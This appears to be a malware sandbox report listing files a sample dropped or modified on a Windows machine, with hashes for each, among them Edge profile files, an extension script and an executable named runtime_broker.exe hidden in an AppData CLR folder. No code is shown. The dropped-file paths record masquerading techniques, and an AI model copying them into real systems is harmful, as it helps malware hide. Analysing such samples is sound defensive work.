MD5 9a7a798dcf29ca529ca019b4889eadb3
SHA1 dac01137f96a344fa0c42607ecead720e7bd4b9b
SHA512 15b3c50c4758990e2b7fa064856f5a4684545846a8231d84da374d5eaff018c4661c30a4fe20de4cf21a13df576571f556b62759bacbe0d165f556b1e83dd894
SSDEEP 192:sxRCRe9R/fjsohgZ/kx+5ljBbjJQroA8pJD/g6+WNPg5/YoLgYdGgIgDRkJ:sxRCaR/fjsoh+4+TRJ/N/5k/UqS
TLSH
T11652C7157D286D3B9CC7E259FA16BF53E3F95073A4942E48B6FC8A0C04E66CD221780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 1b16fc7c605965b8c6d66be8df728cea34207d4570ec22eea873544aa083c689
MD5 0958748f4e723020beb60f18296faeba
SHA1 d0a9caa6bd8866b8941d2cd0e590e0bebcb10de5
SHA512 f467f4c2280e2fe3afac1c635ff42b1fd1620fa2ff3e5041f20ced2ba8762fefc455782da61f5b4c57d4e78de3f3b1d559397c891e72bf983fd2960a242415fa
SSDEEP 192:sxRCRe9R/fjso5gZ/kx+5ljBbjJQroA8pJD/g6+WNPg5/YoNgYdGgIgDzkJ:sxRCaR/fjso5+4+TRJ/N/5k/qq4
TLSH
T11F52C7157D28693B9CC7E259FA16BF53E7F91073A4946E48A6FC8A0C04E66CD221780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 56662946a59ed1545a8a94d7bcd7411340ac2483eb57c994c7bba4080800c808
MD5 c89b263a6955531b8883d09a657e8fca
SHA1 679199dc9f908e0fea760ace6c7a375594b1162f
SHA512 9f434cf03c970096e705150a16520cbcac288b639164f520d91a779f94c672162a0432a2042520fec81c2332a83f1cc2528e5a2405ff41e288b80e7f4184b653
SSDEEP 768:j26H3o7pLuL7MRWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OVLVuwvro99e0UrW:j26H3UE7MRWgs2f02u1jaU4w8cW
TLSH
T1DFC2CA6B740CCABF4F800ADDDC197E9F6D6802CB9A98CD8047FE951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\3dd6abae-ba7b-4bcd-99e2-4389bf692e31\index-dir\the-real-index
Size 120B
SHA256 00fae24eef55c885dde4aca4dacac9d3d94d084892406b01a193f55fb5e2b868
MD5 6758af618a51c5f1a91685fe0c18a491
SHA1 db8f0ff39e3d61e0af8ef41f3b453214e6a03a8d
SHA512 0d82ebcf87a0064491fa10a6c8b62cae663fb139a4505beccd6efd13d2cbb94f826bff02cb4755f5716e8f9604668e63ff47ae0b41baa51b7a9a6ff858af1c05
TLSH
T10FB012818C590DD1CD07113105B7325437754FDC092107B710DC101698D10AEC096402
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\3dd6abae-ba7b-4bcd-99e2-4389bf692e31\index-dir\the-real-index
Size 3KB
SHA256 164daa79f73853b95f09e84ab866333249e0936463cc613ee7d20725a2a9a1e2
MD5 95824d629468045cfa439b985df81a7a
SHA1 1308b0229c353add1890db45c86ac8784ed83233
SHA512 f39f37ccd607edac2038b8af3a41ece5ba8671706b787e95c2e8498dc4764cefdca91f5e1296d7ee48a4116f645b76e06d085f3c0b96e4a47788a697c9155b5c
TLSH
T1D0511A8E0C451D6EC96D50B25CF91982737A3CEEAB86C90717ECE230B8C333E2D58259
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5ac564.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\3dd6abae-ba7b-4bcd-99e2-4389bf692e31\index-dir\the-real-index~RFe5ac564.TMP
Size 120B
SHA256 8f8a2133ba5a9bddea05407192fb9ba5c50c6eb28c1fb45bdd4d010961a8ee91
MD5 6824246b297fd92aadac3745d636f7c5
SHA1 c1f3e82805844ecb3f20538d3351874f8412a550
SHA512 8e17c3aca05f3a224bee15c1309fc077f12239b3fa393bedb0310027af5606dc64b4ba54cf31cbe57364f0b658c62807200c41e86b35bd077e6290710353627a
TLSH
T145B0121251910DE0CC0B16701033835433A68C140830630720DD085B4CB14CC4081404
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e0a1eae2-cf16-490c-8857-199f41dae341\index-dir\the-real-index
Size 72B
SHA256 61f8787277f4a6555344384ea661671008fed00361d17a9ed4a630b49023b7a5
MD5 dd02ab91e6d02f57fd90ea70a09b6c84
SHA1 784a2803ceb06bdb0c4bef2add4e732800a5ca75
SHA512 f962a0c32ccf9bef4e6d32b9f569c815f5094d1467aa59e88e9ad83398f4e6fbe49d1deb8a9c12c993251ad998d421dc5872edc8691417006d6f72f22628e846
TLSH
T1DFA0029942E06001C013E2B437D7414136308D111343230DD39417C8C850556595524C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5b1d39.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\e0a1eae2-cf16-490c-8857-199f41dae341\index-dir\the-real-index~RFe5b1d39.TMP
Size 72B
SHA256 ece6e0596f6cb1170567e018e78c08aa0fb616567b9702743213fdff15ef9a52
MD5 6946a1b54d7e7a03c06a48d4e9f22c8a
SHA1 a59226f63ab7e14a45a68ac2eb3bf97a98138d46
SHA512 49c1a2f9ddc6769735969b2abd3518499a384291783f0fb6025697fad1b9aea04b38e5dbba3c7a965154c718ebd34c46bdfb108896898efb2c70a853ed35d205
TLSH
T1F9A002161380328AC02A15F315D307611241CC906504122A8299104DECD4B44958155D
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 9166cc6384504fc829c0fe74757ea1d82f7da326088c126313d89b8691b7c3df
MD5 0da722e0b473bd81306160a703365cc2
SHA1 e54c968f49ce330dd01adf065fd060dc604be538
SHA512 45858c1883ff63b9e39ea72f254e14b8cb451a8f4d5b300f3cb0379e43453a273250c0b6ceb7f5b2d0537cd6368ad5aabb3d0e143698bc7c7abc5e2f46933ec5
TLSH
T1A9E0D8B63EE62814ECBF93F52871A9E80182B8549549AC8F211E96C754F12177997C21
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 d2e0ca45a2ea0827641132646ce4ce253f0d94de5189454759ad4c184651e1e2
MD5 b5a51b6bd55d9af8c3612f5f7dd62e61
SHA1 1371b98aa2c3d4688ee64179b4c9f200316fca6d
SHA512 821c835378a2119e562a33d1d9cbab193863629cf04102ddd00e415cf71409cf517d240c0ff4658c7915e00dccb259fa102db57d4d865e837ac214bd9d2b2ae8
TLSH
T113A002318E49E001E4054670506595C873705D9A074913024898A0BD8DA55A152D6101
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5b1bf1.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5b1bf1.TMP
Size 48B
SHA256 efec4ce60ba505111146fe1e2205b7e95a241c9fd8b379a092849db0195f8a60
MD5 22e2f220012f4933163d3b7acaacf353
SHA1 1508036f0d55103d9f154e01b6b3d96dbc7cc8bd
SHA512 e122d1d979d6c53bd87ed3615d0fffdc8cb662cc194064f5bff5a45ea8e93f5acbd3ea6f0fb3b5698491820e0ee8a558859f77fd15df66a9f1e5ff058762eac9
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 d68ad79ee1d46beaf540a67f028f209e2c11eec8f7de96fae1b821f7526c2885
MD5 fabf09328fd04a65845b87169583a6c2
SHA1 7efd8dd26c48e276d7adcd97ed3e04bd6d0f54b3
SHA512 3d823f40147712f13149208d3e8de7866b4d61d6757aaa5a5526b8116008d8b93d20f62ce4b730701f97e1482d7b50b17df7f3ad6ed0309e4835c49f88f60d89
SSDEEP 96:KRCHuC0UECWMZxgyCK4ngoCcSaBgCrHlyLf1vz3W7gugn3K4Wg53cdF4LWi0KD67:CCHuC0UE9MZSy6ngoJSaBgCrHlyLf1vw
TLSH
T1A691741135BE02453C3E7A0D81A8DD1BDA81B4B3351AB86B77A813A51FA7E025DFC4DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 1ece857c7a763afdbcb899b20a07c9f64e03f4d1a454bcb910bb8b4934050ad7
MD5 09df9ac1e6cea0e4439794ebaf24e3f4
SHA1 8bf6cb3f07ceeade3dd767b54969b3014d510641
SHA512 be4c4a1d7d60ca075068b2fa004e1ba279edbab8bd117b210ccff01078b144153676ca1373168d1195d70d779dbb02b784d5acbf6ff861f6cfa9fc4bf5a9cc69
SSDEEP 768:EM3EHwk/TBOWS3ztzONXyer1IRCzni9KPi9PqtC:EM3coSIqnVPhtC
TLSH
T177F2BF30E5A5AD239DF6EBC6B5066743AFF81067E1C40690EEE95F4E09C3A1E130B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 1367147f6e3ef4a7d6aa44525fb04339a5f1454994c02b06665cd6e68f2d6ea2
MD5 e8e28a4484fd76813ae3a6488d5b2b29
SHA1 b1e5844b08e52af4d8e83d46f253d5526f6fe429
SHA512 173ec75caaffc76d7f63b37f9e6bb5d126a7541907ce499e06c052ceb56f527dc71af0b97b98c491a931976322a589923551844dba0ffbd2be85df79ef6f8179
SSDEEP 768:+M3WHwk/TBOWS3ztzONXyer1IRCzni9KPi9PqtC:+M3KoSIqnVPhtC
TLSH
T159F2AF30E5A5AD238DF6EBC6B5466743AFF81067E5C40690EEDD5F4E09C3A1E130B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 670757c2d03e0a8f0e99a434c55333ec35373cdc61be1150ad27831d2192e8d2
MD5 7bd6c0e8c972d04b85df8d867cfa0dd8
SHA1 83333f6effe7918cd9e9385b51208d13cbbe5bfd
SHA512 1f288610e396477a29d19b6cadd074035bb3d0b734144f04587b68b0a9919875e3e823fb23fbc370eeb77d54b33b09a00442cbb199e5b35ccc721c980e0855de
SSDEEP 768:hrv+4UNbdz32q/TBOWSYONXyer1IRCzniBjeVH1SK7:hbsbV3zBSIqn8EH1l
TLSH
T1B003CF32E4989E338DE2A3C6B147B6437FB86057C6800790DDDE2F4E069B59E230B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

395bd74f-9487-4b80-bafb-22944de298d5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\395bd74f-9487-4b80-bafb-22944de298d5.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1e2b5356939aed9346971ed1ca83a61ec35936b5ec7684594d10fd819dae1308
MD5 2d8b86b4753fb2dc5606a311c9f9acda
SHA1 7d9c854e2da0dc641be9b6d90d79a362af2f58c5
SHA512 8d2f5b89cdfda0216982ed326bde4c401357d8dfb1fcf07652e508045d714457a0095d61a25336f0ba2fde285223ef7c95f82f97703aec8412450f0ff16103a8
TLSH
T180115733B3CC8724CC9A403650CEAC1137B587DB409EDE6B7B84D649B82F199DEA1260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bfdaa798add1fcc2db36daa088f065f5ab8f0de81b3f90cf02d90f4f186f7499
MD5 4784cd0202409179612ebeb01787653b
SHA1 5c224c3465e01a2b1dce18f0009cc9feae9ac179
SHA512 d57473c4d9eed745a5ec25d5fa0985b3c5877693ccdc05fcd90a05011cb3f25be4758c05d59afbf34a23e8ea35c799f2f4b947ef488364e5d110ae22e25cb7b3
TLSH
T130216737F3CD8611C89E413A10CDAC1036BAC7DB80DE8EAB6B84D159A43F699DE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lro12noq.yc5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lro12noq.yc5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4304_1778096504\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5992_999284562\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

runtime_broker.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
Size 5.1MB
SHA256 19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a
MD5 e1e68c1d960383568c82512124721d0c
SHA1 0330a88502d0c6cb0d6a9b0509edba3381028483
SHA512 bedfe3abe028fd3a53bf8e3a0639256b2d8a47bd61a25b3a7a8ad1d5737237d8ce5c1abcd71c701c394824f513d8f7495e9d12bab6aa09df6fdacf860c2d1fa3
SSDEEP 49152:vLDR3VAys0gscdD7x7qqOL247WJqLT029LsC52QYv8vasYEQEeD8zqDzg3m8lczn:v3L9LgQv+8uv17gitPhKXCLZS64wZ
TLSH
T1CC465C03F69281EDC0AEC179875B9333FA32B8894534B65B5BD4CB222E15F60AF4D758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3512-19-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/3512-147-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/3512-1596-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/3512-1594-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/3512-698-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/3512-186-0x00007FF60E510000-0x00007FF60EA39000-memory.dmp

Download

memory/4220-4-0x00007FF612B20000-0x00007FF613049000-memory.dmp

Download

memory/4248-6-0x00007FF612B20000-0x00007FF613049000-memory.dmp

Download

memory/4672-28-0x00000162BBD70000-0x00000162BBF32000-memory.dmp

Download

memory/4672-27-0x00000162BBBE0000-0x00000162BBBFC000-memory.dmp

Download

memory/4672-22-0x00000162BB630000-0x00000162BB64E000-memory.dmp

Download

memory/4672-23-0x00000162BB860000-0x00000162BB912000-memory.dmp

Download

memory/4672-24-0x00000162BB920000-0x00000162BB92A000-memory.dmp

Download

memory/4672-25-0x00000162BBBA0000-0x00000162BBBBE000-memory.dmp

Download

memory/4672-26-0x00000162BB930000-0x00000162BB93A000-memory.dmp

Download

memory/5380-11-0x000001C321FC0000-0x000001C321FE2000-memory.dmp

Download